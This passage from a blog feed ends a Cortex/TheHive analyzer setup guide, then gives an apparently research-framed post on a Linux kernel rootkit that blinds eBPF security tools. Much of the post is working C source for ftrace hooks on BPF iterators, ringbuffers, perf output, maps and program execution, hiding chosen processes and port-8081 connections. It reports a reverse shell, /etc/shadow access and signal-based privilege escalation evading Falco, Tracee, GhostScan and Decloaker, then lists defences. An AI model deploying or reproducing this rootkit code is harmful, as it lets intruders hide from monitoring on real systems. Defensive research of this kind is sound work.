hundreds of analyzers built into Cortex but in this guide we’re going to focus on setting up analyzers for MalwareBazaar and VirusTotal.</p><p>In order to set up these analyzers up you’re going to need to create accounts on VirusTotal and MalwareBazaar, once you create the accounts you will have access to a personal api key that we will be using for the analyzers. MalwareBazaar requires you to link a twitter account in order to get an api key(no clue why).</p><p>Once you have the accounts created, head over to Cortex and login with the user that we created then click on the Organization section.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*-ZT3Uz0HQwcNm9SB.png" /></figure><p>Now navigate to the Analyzers tab.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*jCSZE1ARm1FskVRE.png" /></figure><p>search for virustotal and select “VirusTotal_GetReport_3_1”.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*ujB8A_QjOgri-8yI.png" /></figure><p>All you need to add here is your VirusTotal api key, then scroll down and save.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*LRESEAyqYkTG8NeW.png" /></figure><p>Now search for malwarebazaar and select “MalwareBazaar_1_0”.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*RDfCzcVC9OX574Bs.png" /></figure><p>Same thing here, add your api key and save.</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*5jGkiG2zBNuRyk1z.png" /></figure><p>That’s it! You can now manually use these analyzers and The Hive will utilize these analyzers to enrich your SIEM logs with intelligence from VirusTotal and MalwareBazaar.</p><h3>Conclusion</h3><p>You now have an Incident response platform that will allow you to monitor and assign cases as well as enrich your logs with threat intelligence from VirusTotal and MalwareBazaar. In the final part of this series we will configure Wazuh to send our security logs to The Hive and complete our security stack. See you there!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4716154c69ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking eBPF Security: How Kernel Rootkits Blind Observability Tools]]></title>
            <link>https://medium.com/@blackxsec/breaking-ebpf-security-how-kernel-rootkits-blind-observability-tools-cf9290eb65fe?source=rss-82c3aba4bbc0------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf9290eb65fe</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[ebf]]></category>
            <dc:creator><![CDATA[BlackXsec]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 08:17:42 GMT</pubDate>
            <atom:updated>2026-07-11T08:17:42.984Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*36u3U2NxwptB0cnFUU90TQ.jpeg" /></figure><h3>Executive Summary</h3><p>eBPF-based security tools — Falco, Tracee, Tetragon, GhostScan — have become the dominant approach to Linux kernel observability and runtime threat detection. They attach to syscall tracepoints and kernel events, stream telemetry to userspace via ringbuffers and perf event arrays, and enumerate system state through BPF iterators. The security model implicitly assumes the kernel itself is a trustworthy observer. This post dissects exactly when and how that assumption breaks.</p><p>When an attacker gains the ability to load a kernel module (requiring root with disabled Secure Boot or unenforced module signing), they can hook the kernel functions that eBPF programs depend on to deliver data to userspace — without touching the eBPF programs themselves. By intercepting bpf_iter_run_prog, bpf_ringbuf_submit, perf_event_output, and bpf_map_lookup_elem via ftrace, a rootkit can selectively erase specific processes and network connections from every eBPF security tool simultaneously. The result: Falco, Tracee, GhostScan, and Decloaker all report a clean system while a reverse shell runs undetected.</p><h3>Introduction</h3><p>Modern Linux security infrastructure has consolidated around eBPF. Projects like Falco, Tracee, and Tetragon provide kernel-level telemetry with low overhead and visibility that appears difficult to circumvent from userspace. Attaching directly to syscall tracepoints, kprobes, and kernel events gives these tools an apparent vantage point above any userspace attacker.</p><p>But this security model rests on a single load-bearing assumption: <em>the kernel is assumed to be a trustworthy observer</em>. The entire data pipeline — eBPF program executes in kernel context, writes to a ring buffer, userspace daemon reads and evaluates — only works if the kernel functions underlying each step behave as expected.</p><p>This research explores what happens when that assumption fails. Specifically: when an attacker has already achieved kernel-level code execution via a loaded module, the most valuable targets are not the eBPF programs themselves (memory-safe and verifier-checked), but their supporting infrastructure — the iterators, event delivery mechanisms, and map operations that convert kernel activity into userspace-visible signals. This post documents the full attack surface and demonstrates complete evasion of four eBPF-based security tools.</p><p><em>Disclaimer: All techniques described are for educational and defensive research purposes only, published to help security researchers develop better detection and prevention mechanisms.</em></p><h3>The eBPF Security Landscape</h3><h3>How eBPF Security Works</h3><p>eBPF (extended Berkeley Packet Filter) has transformed Linux observability and security capabilities. Contemporary security tools leverage eBPF to monitor kernel events in real-time without requiring kernel code modifications or traditional kernel module loading. The architecture rests on four interconnected components:</p><ul><li>eBPF Programs: Sandboxed code executing in kernel context, attached to syscalls, tracepoints, and kprobes.</li><li>BPF Maps: Kernel data structures enabling state sharing between eBPF programs and userspace.</li><li>Ringbuffers / Perf Events: Efficient mechanisms for streaming event data from kernel to userspace.</li><li>BPF Iterators: A mechanism for efficiently walking kernel objects such as processes and network connections.</li></ul><p>Security tools built on this architecture include Falco (runtime anomaly detection), Tracee (syscall and event tracing), Tetragon (policy enforcement), Cilium (network security), GhostScan (rootkit detection via memory scanning), and Decloaker (hidden process detection).</p><h3>The False Promise of Kernel Observability</h3><p>The security community embraced eBPF as a solution to a fundamental challenge: monitoring a system under active attack. Kernel-level observability appeared to give defenders a vantage point that userspace attackers cannot compromise. This assumption contains a critical flaw.</p><p>eBPF programs execute <em>inside</em> the kernel they observe, while the full detection pipeline also depends on kernel→userspace delivery (ring buffers, perf buffers, iterators) and userspace policy engines. If an attacker gains the ability to load a kernel module — via root access with disabled Secure Boot or unenforced module signing — they can modify kernel behavior and selectively disrupt what eBPF programs and their collectors actually see.</p><ul><li>eBPF programs cannot protect themselves from kernel-level manipulation.</li><li>The eBPF verifier ensures memory safety, not security guarantees against kernel-level attackers.</li><li>All eBPF data flow mechanisms (iterators, ringbuffers, maps) are implemented as hookable kernel functions.</li><li>Kernel functions can be dynamically intercepted via ftrace without modifying kernel code.</li></ul><p>The moment an attacker achieves kernel-level access, observability becomes optional.</p><h3>Understanding the Attack Surface</h3><p>Before examining how to bypass eBPF security tools, it is necessary to understand the data collection mechanisms they depend on. Each mechanism presents distinct interception points. The diagram below maps the complete attack surface across the four primary mechanisms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/0*9vP_YAVwgPrWfg8f.jpg" /></figure><h3>BPF Iterators</h3><p>BPF iterators allow eBPF programs to efficiently walk kernel data structures. Security tools such as GhostScan and Decloaker use iterators to enumerate running processes and network connections, comparing that enumeration against other system views to detect rootkit discrepancies. The iterator data flow:</p><pre>Kernel Data (tasks, sockets)<br>    -&gt; bpf_iter_run_prog()<br>        -&gt; eBPF iterator program<br>            -&gt; bpf_seq_write() / bpf_seq_printf()<br>                -&gt; Userspace reads via seq_file</pre><p>Key hookable functions: bpf_iter_run_prog() executes the eBPF iterator program for each kernel object; bpf_seq_write() writes raw data to the seq_file output buffer; bpf_seq_printf() writes formatted output to the seq_file buffer.</p><h3>BPF Ringbuffers</h3><p>Ringbuffers are the modern replacement for perf buffers, providing efficient event streaming from kernel to userspace with better performance and ordering guarantees. Falco’s modern eBPF probe uses BPF_MAP_TYPE_RINGBUF for kernel→userspace event delivery. The ringbuffer data flow:</p><pre>Kernel Event<br>    -&gt; eBPF program<br>        -&gt; bpf_ringbuf_reserve()<br>            -&gt; bpf_ringbuf_submit() or bpf_ringbuf_output()<br>                -&gt; Userspace reads events</pre><p>Key hookable functions: bpf_ringbuf_reserve() allocates space in the ringbuffer; bpf_ringbuf_submit() commits reserved data; bpf_ringbuf_output() performs a one-shot write. Note: Tracee uses perf ring buffers as its primary kernel→userspace delivery (varies by version); Tetragon uses ring buffer or perf-based buffers depending on component and version. Perf event arrays (BPF_MAP_TYPE_PERF_EVENT_ARRAY) are per-CPU and older; ring buffers are shared across CPUs and more efficient.</p><h3>Perf Events</h3><p>Perf events are the traditional mechanism for streaming kernel data to userspace. While older than ringbuffers, many tools still use them, particularly legacy Falco versions. The perf event data flow:</p><pre>Kernel Event<br>    -&gt; eBPF program<br>        -&gt; perf_event_output()<br>            -&gt; perf_trace_run_bpf_submit()<br>                -&gt; Userspace reads perf buffer</pre><p>Key hookable functions: perf_event_output() writes the event to the perf buffer; perf_trace_run_bpf_submit() submits tracepoint data to eBPF programs.</p><h3>BPF Maps</h3><p>BPF maps are kernel data structures that store state and allow communication between eBPF programs and userspace. Security tools use them to store process metadata, track network connections, maintain allow/deny lists, and share state between eBPF programs. The map operation flow:</p><pre>eBPF program or userspace<br>    -&gt; bpf_map_lookup_elem()<br>    -&gt; bpf_map_update_elem()<br>    -&gt; bpf_map_delete_elem()<br>        -&gt; Kernel map data structure</pre><p>Key hookable functions: bpf_map_lookup_elem() retrieves a value; bpf_map_update_elem() inserts or updates an entry; bpf_map_delete_elem() removes an entry.</p><h3>Bypassing eBPF Security: Technical Implementation</h3><p>The following sections walk through each interception layer of the rootkit (publicly available as <a href="https://github.com/MatheuZSecurity/Singularity">Singularity</a>). The core strategy is not to attack eBPF programs directly — they run in a sandboxed verifier-checked environment — but to cut off the kernel-side plumbing those programs rely on to deliver data to userspace.</p><h3>Hook Architecture</h3><p>The rootkit uses ftrace to dynamically hook critical BPF kernel functions. Ftrace allows interception of kernel functions without modifying kernel code, making it a clean hooking primitive that operates below the eBPF program layer. The complete set of hooked functions:</p><pre>static struct ftrace_hook hooks[] = {<br>    // BPF Iterator Hooks<br>    HOOK(&quot;bpf_iter_run_prog&quot;, hook_bpf_iter_run_prog, &amp;orig_bpf_iter_run_prog),<br>    HOOK(&quot;bpf_seq_write&quot;, hook_bpf_seq_write, &amp;orig_bpf_seq_write),<br>    HOOK(&quot;bpf_seq_printf&quot;, hook_bpf_seq_printf, &amp;orig_bpf_seq_printf),</pre><pre>    // BPF Ringbuffer Hooks<br>    HOOK(&quot;bpf_ringbuf_output&quot;, hook_bpf_ringbuf_output, &amp;orig_bpf_ringbuf_output),<br>    HOOK(&quot;bpf_ringbuf_reserve&quot;, hook_bpf_ringbuf_reserve, &amp;orig_bpf_ringbuf_reserve),<br>    HOOK(&quot;bpf_ringbuf_submit&quot;, hook_bpf_ringbuf_submit, &amp;orig_bpf_ringbuf_submit),</pre><pre>    // BPF Map Hooks<br>    HOOK(&quot;bpf_map_lookup_elem&quot;, hook_bpf_map_lookup_elem, &amp;orig_bpf_map_lookup_elem),<br>    HOOK(&quot;bpf_map_update_elem&quot;, hook_bpf_map_update_elem, &amp;orig_bpf_map_update_elem),</pre><pre>    // Perf Event Hooks<br>    HOOK(&quot;perf_event_output&quot;, hook_perf_event_output, &amp;orig_perf_event_output),<br>    HOOK(&quot;perf_trace_run_bpf_submit&quot;, hook_perf_trace_run_bpf_submit,<br>         &amp;orig_perf_trace_run_bpf_submit),</pre><pre>    // BPF Program Execution<br>    HOOK(&quot;__bpf_prog_run&quot;, hook_bpf_prog_run, &amp;orig_bpf_prog_run),</pre><pre>    // BPF Syscall<br>    HOOK(&quot;__x64_sys_bpf&quot;, hook_bpf, &amp;orig_bpf),<br>    HOOK(&quot;__ia32_sys_bpf&quot;, hook_bpf_ia32, &amp;orig_bpf_ia32),<br>};</pre><p>Why this works: once loaded, the rootkit runs at ring 0 with full privileges; ftrace hooking operates below eBPF programs, intercepting their data sources rather than their code; only specific PIDs and ports are hidden (not all events), making detection harder.</p><h3>Process and Network Hiding</h3><p>The rootkit maintains lists of hidden PIDs and network connections. Child process tracking ensures that hiding a shell also hides all processes it spawns. The hidden PID management routines:</p><pre>#define MAX_HIDDEN_PIDS 32<br>#define MAX_CHILD_PIDS (MAX_HIDDEN_PIDS * 128)</pre><pre>extern int hidden_pids[MAX_HIDDEN_PIDS];<br>extern int hidden_count;<br>extern int child_pids[MAX_CHILD_PIDS];<br>extern int child_count;</pre><pre>notrace void add_hidden_pid(int pid) {<br>    int i;<br>    for (i = 0; i &lt; hidden_count; i++) {<br>         if (hidden_pids[i] == pid)<br>             return;<br>    }<br>    if (hidden_count &lt; MAX_HIDDEN_PIDS) {<br>        hidden_pids[hidden_count++] = pid;<br>    }<br>}</pre><pre>notrace int is_hidden_pid(int pid) {<br>    int i;<br>    for (i = 0; i &lt; hidden_count; i++) {<br>         if (hidden_pids[i] == pid)<br>             return 1;<br>    }<br>    return 0;<br>}</pre><p>Child process tracking walks the parent chain up to ten levels deep using RCU-protected task_struct traversal:</p><pre>static notrace bool is_child_of_hidden_process(int pid)<br>{<br>    struct task_struct *task;<br>    struct task_struct *parent;<br>    int depth = 0;<br>    int max_depth = 10;<br>    bool hidden = false;</pre><pre>    if (pid &lt;= 0)<br>        return false;</pre><pre>    if (should_hide_pid_by_int(pid))<br>        return true;</pre><pre>    rcu_read_lock();</pre><pre>    task = pid_task(find_vpid(pid), PIDTYPE_PID);</pre><pre>    if (!task) {<br>        rcu_read_unlock();<br>        return false;<br>    }</pre><pre>    parent = task;<br>    while (parent &amp;&amp; depth &lt; max_depth) {<br>        if (parent-&gt;pid &lt;= 0)<br>            break;</pre><pre>        parent = rcu_dereference(parent-&gt;real_parent);</pre><pre>        if (!parent || parent-&gt;pid &lt;= 1)<br>            break;</pre><pre>        if (should_hide_pid_by_int(parent-&gt;pid)) {<br>            hidden = true;<br>            break;<br>        }</pre><pre>        depth++;<br>    }</pre><pre>    rcu_read_unlock();<br>    return hidden;<br>}</pre><p>Network connection hiding targets a specific port (8081 in the PoC) and a cached hidden IP address, matching both IPv4 and IPv6 sockets:</p><pre>#define HIDDEN_PORT 8081</pre><pre>static notrace bool should_hide_socket_port(struct sock_common *sk)<br>{<br>    __be16 sport, dport;<br>    __be32 saddr, daddr;</pre><pre>    if (!sk)<br>        return false;</pre><pre>    init_hidden_ip();</pre><pre>    if (sk-&gt;skc_family == AF_INET) {<br>        sport = sk-&gt;skc_num;<br>        dport = sk-&gt;skc_dport;<br>        saddr = sk-&gt;skc_rcv_saddr;<br>        daddr = sk-&gt;skc_daddr;</pre><pre>        if (sport == HIDDEN_PORT || ntohs(dport) == HIDDEN_PORT) {<br>            if (saddr == hidden_ip_cached || daddr == hidden_ip_cached ||<br>                saddr == htonl(INADDR_ANY) || daddr == htonl(INADDR_ANY)) {<br>                return true;<br>            }<br>        }<br>    }<br>    else if (sk-&gt;skc_family == AF_INET6) {<br>        sport = sk-&gt;skc_num;</pre><pre>        if (sport == HIDDEN_PORT) {<br>            return true;<br>        }<br>    }</pre><pre>    return false;<br>}</pre><h3>Intercepting BPF Iterators</h3><p>BPF iterators allow tools like GhostScan and Decloaker to enumerate kernel objects. By hooking iterator execution, results are selectively filtered. The iterator context structures passed to bpf_iter_run_prog for TCP, UDP, and task iterators:</p><pre>struct bpf_iter_ctx_tcp {<br>    struct bpf_iter_meta *meta;<br>    struct sock_common *sk_common;<br>    uid_t uid;<br>};</pre><pre>struct bpf_iter_ctx_udp {<br>    struct bpf_iter_meta *meta;<br>    struct udp_sock *udp_sk;<br>    uid_t uid;<br>    int bucket;<br>};</pre><pre>struct bpf_iter_ctx_task {<br>    struct bpf_iter_meta *meta;<br>    struct task_struct *task;<br>};</pre><p>The hook inspects each context type and returns 0 (skip) for hidden PIDs or ports, preventing the eBPF program from ever seeing that object:</p><pre>static notrace int hook_bpf_iter_run_prog(struct bpf_prog *prog, void *ctx)<br>{<br>    struct bpf_iter_ctx_tcp *tcp_ctx;<br>    struct bpf_iter_ctx_udp *udp_ctx;<br>    struct bpf_iter_ctx_task *task_ctx;<br>    struct sock_common *sk;<br>    struct udp_sock *udp_sk;<br>    struct task_struct *task;</pre><pre>    if (!orig_bpf_iter_run_prog || !ctx)<br>        goto passthrough;</pre><pre>    // Check if this is a TCP socket iterator<br>    tcp_ctx = (struct bpf_iter_ctx_tcp *)ctx;<br>    if (tcp_ctx &amp;&amp; tcp_ctx-&gt;sk_common) {<br>        sk = tcp_ctx-&gt;sk_common;</pre><pre>        if ((unsigned long)sk &gt; PAGE_SIZE) {<br>            if (should_hide_socket_port(sk)) {<br>                return 0;  // Skip this socket<br>            }<br>        }<br>    }</pre><pre>    // Check if this is a UDP socket iterator<br>    udp_ctx = (struct bpf_iter_ctx_udp *)ctx;<br>    if (udp_ctx &amp;&amp; udp_ctx-&gt;udp_sk) {<br>        udp_sk = udp_ctx-&gt;udp_sk;</pre><pre>        if ((unsigned long)udp_sk &gt; PAGE_SIZE) {<br>            sk = &amp;udp_sk-&gt;inet.sk.__sk_common;</pre><pre>            if (should_hide_socket_port(sk)) {<br>                return 0;  // Skip this socket<br>            }<br>        }<br>    }</pre><pre>    // Check if this is a task iterator<br>    task_ctx = (struct bpf_iter_ctx_task *)ctx;<br>    if (task_ctx &amp;&amp; task_ctx-&gt;task) {<br>        task = task_ctx-&gt;task;</pre><pre>        if ((unsigned long)task &gt; PAGE_SIZE &amp;&amp; task-&gt;pid &gt; 0) {<br>            if (is_child_of_hidden_process(task-&gt;pid)) {<br>                return 0;  // Skip this task<br>            }<br>        }<br>    }</pre><pre>passthrough:<br>    return orig_bpf_iter_run_prog(prog, ctx);<br>}</pre><p>When GhostScan or Decloaker use BPF iterators to enumerate processes or network connections, the hook intercepts each iteration. For hidden PIDs or ports, it returns 0, preventing the eBPF program from ever seeing that object. The security tool receives a complete-looking enumeration with specific entries silently removed. Iterators also use bpf_seq_write() to format output; this is hooked too — the hook scans binary data for PID values and blocks the write if a hidden PID is found:</p><pre>static notrace int hook_bpf_seq_write(struct seq_file *seq, const void *data, u32 len)<br>{<br>    const u32 *pid_data;<br>    int i;</pre><pre>    if (!orig_bpf_seq_write)<br>        return -ENOSYS;</pre><pre>    if (!data || len &lt; sizeof(u32))<br>        goto passthrough;</pre><pre>    // Scan the data for PIDs<br>    pid_data = (const u32 *)data;<br>    for (i = 0; i &lt; (len / sizeof(u32)) &amp;&amp; i &lt; 16; i++) {<br>        u32 potential_pid = pid_data[i];</pre><pre>        if (potential_pid &gt; 0 &amp;&amp; potential_pid &lt; 4194304) {<br>            if (is_child_of_hidden_process((int)potential_pid)) {<br>                return 0;  // Block this write<br>            }<br>        }<br>    }</pre><pre>passthrough:<br>    return orig_bpf_seq_write(seq, data, len);<br>}</pre><h3>Filtering Ringbuffer Events</h3><p>Falco and Tracee rely heavily on ringbuffers for event streaming. By hooking ringbuffer operations at three points (reserve, output, submit), events from hidden processes never reach the ringbuffer. A helper identifies Falco events by validating the event header structure:</p><pre>struct falco_event_hdr {<br>    u64 ts;<br>    u64 tid;<br>    u32 len;<br>    u16 type;<br>    u32 nparams;<br>} __attribute__((packed));</pre><pre>static notrace bool is_falco_event(void *data, u64 size)<br>{<br>    struct falco_event_hdr *hdr;</pre><pre>    if (!data || size &lt; sizeof(struct falco_event_hdr))<br>        return false;</pre><pre>    hdr = (struct falco_event_hdr *)data;</pre><pre>    // Validate event structure<br>    if (hdr-&gt;type &gt;= 1 &amp;&amp; hdr-&gt;type &lt;= 400 &amp;&amp;<br>        hdr-&gt;len &gt; 0 &amp;&amp; hdr-&gt;len &lt; 65536 &amp;&amp;<br>        hdr-&gt;nparams &lt; 20) {<br>        return true;<br>    }</pre><pre>    return false;<br>}</pre><p>The bpf_ringbuf_output hook inspects the event header to extract the TID and drops events from hidden processes:</p><pre>static notrace long hook_bpf_ringbuf_output(void *ringbuf, void *data, u64 size, u64 flags)<br>{<br>    struct falco_event_hdr *hdr;<br>    int pid;</pre><pre>    if (!orig_bpf_ringbuf_output)<br>        return -ENOSYS;</pre><pre>    if (!data || !ringbuf)<br>        goto passthrough;</pre><pre>    // Check if this looks like a Falco event<br>    if (!is_falco_event(data, size))<br>        goto passthrough;</pre><pre>    hdr = (struct falco_event_hdr *)data;<br>    pid = (int)(hdr-&gt;tid &amp; 0xFFFFFFFF);</pre><pre>    // If this event is from a hidden process, drop it<br>    if (is_child_of_hidden_process(pid)) {<br>        return 0;<br>    }</pre><pre>passthrough:<br>    return orig_bpf_ringbuf_output(ringbuf, data, size, flags);<br>}</pre><p>The bpf_ringbuf_reserve hook denies allocation for hidden processes at the earliest possible point, before any data is written:</p><pre>static notrace void *hook_bpf_ringbuf_reserve(void *ringbuf, u64 size, u64 flags)<br>{<br>    pid_t pid;</pre><pre>    if (!orig_bpf_ringbuf_reserve)<br>        return NULL;</pre><pre>    pid = current-&gt;tgid;</pre><pre>    // Deny ringbuffer allocation for hidden processes<br>    if (is_child_of_hidden_process(pid)) {<br>        return NULL;<br>    }</pre><pre>    return orig_bpf_ringbuf_reserve(ringbuf, size, flags);<br>}</pre><p>The bpf_ringbuf_submit hook catches any events that were reserved before the process was added to the hidden list:</p><pre>static notrace void hook_bpf_ringbuf_submit(void *data, u64 flags)<br>{<br>    struct falco_event_hdr *hdr;<br>    int pid;</pre><pre>    if (!orig_bpf_ringbuf_submit)<br>        return;</pre><pre>    if (!data)<br>        goto passthrough;</pre><pre>    if (!is_falco_event(data, 0))<br>        goto passthrough;</pre><pre>    hdr = (struct falco_event_hdr *)data;<br>    pid = (int)(hdr-&gt;tid &amp; 0xFFFFFFFF);</pre><pre>    // Drop submission for hidden processes<br>    if (is_child_of_hidden_process(pid)) {<br>        return;<br>    }</pre><pre>passthrough:<br>    orig_bpf_ringbuf_submit(data, flags);<br>}</pre><p>With all three hooks active, events from hidden processes never reach the ringbuffer at any stage. From Falco’s and Tracee’s perspective, those processes do not exist.</p><h3>Blocking Perf Event Submission</h3><p>Older tools and some Falco configurations still use perf events rather than ringbuffers. The perf_event_output hook drops events from hidden processes at the perf output stage:</p><pre>static notrace int hook_perf_event_output(struct perf_event *event,<br>                                          struct perf_sample_data *data,<br>                                          struct pt_regs *regs)<br>{<br>    pid_t pid;</pre><pre>    if (!orig_perf_event_output)<br>        return -ENOSYS;</pre><pre>    pid = current-&gt;tgid;</pre><pre>    // Drop perf events for hidden processes<br>    if (is_child_of_hidden_process(pid)) {<br>        return 0;<br>    }</pre><pre>    return orig_perf_event_output(event, data, regs);<br>}</pre><p>The perf_trace_run_bpf_submit hook intercepts tracepoint data submission, checking both the task argument and the current process:</p><pre>static notrace void hook_perf_trace_run_bpf_submit(void *raw_data, int size,<br>                                                    int rctx, struct pt_regs *regs,<br>                                                    struct hlist_head *head,<br>                                                    struct task_struct *task)<br>{<br>    if (!orig_perf_trace_run_bpf_submit)<br>        return;</pre><pre>    // Check if the task is hidden<br>    if (task &amp;&amp; is_child_of_hidden_process(task-&gt;pid)) {<br>        return;<br>    }</pre><pre>    // Also check current process<br>    if (is_child_of_hidden_process(current-&gt;tgid)) {<br>        return;<br>    }</pre><pre>    orig_perf_trace_run_bpf_submit(raw_data, size, rctx, regs, head, task);<br>}</pre><h3>Manipulating BPF Maps</h3><p>Security tools use BPF maps to store process metadata, track suspicious activity, and maintain state. By hooking map operations, hidden processes are prevented from being recorded. The bpf_map_lookup_elem hook returns NULL for any hidden PID used as a map key:</p><pre>static notrace void *hook_bpf_map_lookup_elem(struct bpf_map *map, const void *key)<br>{<br>    void *ret;<br>    pid_t pid;</pre><pre>    if (!orig_bpf_map_lookup_elem)<br>        return NULL;</pre><pre>    ret = orig_bpf_map_lookup_elem(map, key);</pre><pre>    // If the map uses PIDs as keys, filter hidden PIDs<br>    if (ret &amp;&amp; map &amp;&amp; map-&gt;key_size == sizeof(pid_t)) {<br>        pid = *(pid_t *)key;</pre><pre>        if (is_child_of_hidden_process(pid)) {<br>            return NULL;  // Pretend the entry doesn&#39;t exist<br>        }<br>    }</pre><pre>    return ret;<br>}</pre><p>The bpf_map_update_elem hook silently discards updates that would record a hidden process, returning 0 as if the update succeeded:</p><pre>static notrace long hook_bpf_map_update_elem(struct bpf_map *map, void *key,<br>                                               void *value, u64 flags)<br>{<br>    u32 *pid_key;</pre><pre>    if (!orig_bpf_map_update_elem)<br>        return -ENOSYS;</pre><pre>    // If this is a PID-keyed map, block updates for hidden PIDs<br>    if (map &amp;&amp; map-&gt;key_size == sizeof(u32)) {<br>        pid_key = (u32 *)key;</pre><pre>        if (is_child_of_hidden_process((int)*pid_key)) {<br>            return 0;  // Silently succeed without actually updating<br>        }<br>    }</pre><pre>    return orig_bpf_map_update_elem(map, key, value, flags);<br>}</pre><p>Security tools that track process behavior using BPF maps will never see entries for hidden processes. Map lookups return NULL; map updates silently fail. The tool’s logic continues to function normally, operating on an incomplete view of reality without producing any visible errors.</p><h3>Blocking eBPF Program Execution</h3><p>For maximum stealth, the rootkit can also prevent eBPF programs from executing when triggered by hidden processes. The __bpf_prog_run hook returns 0 without executing the program:</p><pre>static notrace u32 hook_bpf_prog_run(const struct bpf_prog *prog, const void *ctx)<br>{<br>    pid_t pid;</pre><pre>    if (!orig_bpf_prog_run)<br>        return 0;</pre><pre>    pid = current-&gt;tgid;</pre><pre>    // Don&#39;t execute eBPF programs for hidden processes<br>    if (is_child_of_hidden_process(pid)) {<br>        return 0;<br>    }</pre><pre>    return orig_bpf_prog_run(prog, ctx);<br>}</pre><p>The bpf() syscall hook provides an additional control point for intercepting BPF commands issued by hidden processes:</p><pre>static notrace asmlinkage long hook_bpf(const struct pt_regs *regs)<br>{<br>    int cmd;<br>    pid_t pid;</pre><pre>    if (!orig_bpf)<br>        return -ENOSYS;</pre><pre>    cmd = (int)regs-&gt;di;<br>    pid = current-&gt;tgid;</pre><pre>    // Hidden processes can use bpf() normally<br>    // but we could log/block specific commands here<br>    if (is_child_of_hidden_process(pid)) {<br>        // Optional: block certain BPF commands<br>    }</pre><pre>    return orig_bpf(regs);<br>}</pre><h3>Real-World Bypass Results</h3><h3>Falco Evasion</h3><p>Falco is one of the most widely deployed eBPF-based runtime security tools, monitoring syscalls, file access, network connections, and process execution. With the hooks active, a full attack workflow produces zero detections:</p><ol><li>Reverse Shell: Connected to attacker-controlled server on port 8081. Falco detected nothing.</li><li>Process Execution: Spawned interactive bash shell. Falco detected nothing.</li><li>File Modification: Modified and read /etc/passwd, /etc/shadow. Falco detected nothing.</li><li>Network Activity: Established multiple TCP connections. Falco detected nothing.</li><li>Privilege Escalation: Used rootkit signal-based privilege escalation (kill -59). Falco detected nothing.</li></ol><p>Falco’s eBPF programs successfully attach to syscall tracepoints and execute as designed. Every event they generate passes through the kernel→userspace delivery layer that the hooks disrupt. Events from hidden processes are filtered before reaching Falco’s userspace agent. From Falco’s perspective, the system appears clean.</p><h3>Tracee Evasion</h3><p>Tracee provides detailed syscall tracing and event analysis specifically designed to detect anomalous behavior and hidden processes. With hooks active:</p><ol><li>Process Enumeration: Tracee’s process listing showed no hidden processes.</li><li>Syscall Tracing: No syscalls from hidden processes appeared in traces.</li><li>Network Connections: Hidden network connections were invisible to Tracee.</li></ol><p>Tracee relies on BPF iterators for process enumeration and ringbuffers for syscall events. The iterator hook ensures hidden processes never appear during enumeration; the ringbuffer hooks prevent syscall events from being recorded. Both mechanisms fail silently — Tracee sees no errors, only a clean system.</p><h3>Additional Tools</h3><p>GhostScan detects hidden processes by comparing multiple enumeration methods and uses BPF iterators to walk the task list. With iterator hooks in place, hidden processes remain invisible across all enumeration paths — every view has been filtered identically, so the comparison finds no discrepancy.</p><p>Decloaker attempts to reveal hidden network connections using multiple detection techniques including BPF iterators. With both iterator and socket filtering hooks active, connections on the target port never appear through any detection path.</p><blockquote><em>If an attacker gains the ability to load kernel modules, they control the kernel’s view of reality. eBPF security tools run inside the kernel and thus cannot fully protect a compromised kernel. The only reliable defense is preventing kernel compromise in the first place.</em></blockquote><blockquote><em>0xMatheuZ, original article</em></blockquote><h3>Key Takeaways</h3><ul><li>Target the data path, not the program: eBPF programs can run correctly while their output never arrives — hooking the kernel-side plumbing that carries events to userspace is more effective than attacking eBPF code directly.</li><li>Enumerators are just another surface: Iterator-based tools depend on bpf_iter_run_prog() and seq_file writes; filtering there makes multiple enumeration views agree on a consistent lie without raising errors.</li><li>Event delivery is a choke point: Whether a tool uses ring buffer (BPF_MAP_TYPE_RINGBUF) or perf buffer (BPF_MAP_TYPE_PERF_EVENT_ARRAY), the kernel→userspace boundary creates a natural interception point.</li><li>State can be selectively erased: Map lookup/update hooks make hidden PIDs appear as “not found” without breaking the rest of the system or producing visible error conditions.</li><li>Selective hiding is harder to detect than blanket suppression: Hiding only specific PIDs and ports leaves the security tool functioning normally for all other activity.</li><li>All four major eBPF security tools were bypassed simultaneously: Falco, Tracee, GhostScan, and Decloaker were all defeated with a single kernel module using ftrace hooks.</li><li>Once the kernel is hostile, observability is best-effort: eBPF improves visibility under a trusted kernel; it cannot harden a compromised one.</li></ul><h3>Defensive Recommendations</h3><ul><li>Enforce Secure Boot and kernel module signing: The attack requires loading an unsigned kernel module. Enforce kernel lockdown mode (lockdown=confidentiality) and UEFI Secure Boot with custom signing keys to block unauthorized module loading.</li><li>Deploy network-layer monitoring independently of the host: eBPF-based detection can be blinded at the host level, but network taps, span ports, and out-of-band flow collectors cannot be manipulated from within a compromised host.</li><li>Use hardware-rooted trust and remote attestation: TPM-based measured boot and remote attestation can detect kernel integrity violations before a rootkit has time to suppress evidence.</li><li>Log kernel module load events to a remote, append-only sink: Log finit_module / init_module syscalls via audit daemon with remote syslog before the rootkit can suppress them. The window between module load and hook installation is a detection opportunity.</li><li>Cross-validate process lists from multiple independent layers: Compare /proc enumeration, cgroup enumeration, network socket tables, and container runtime APIs. A rootkit hooking BPF iterators may not suppress every enumeration path simultaneously.</li><li>Combine eBPF telemetry with external sensors: Hypervisor-level monitoring, hardware performance counters, and EDR agents that operate from outside the OS image can detect discrepancies that suggest kernel tampering.</li><li>Treat kernel compromise as a full incident: If a rootkit is suspected, do not trust any in-kernel telemetry from the compromised host. Acquire memory from outside (live forensics via 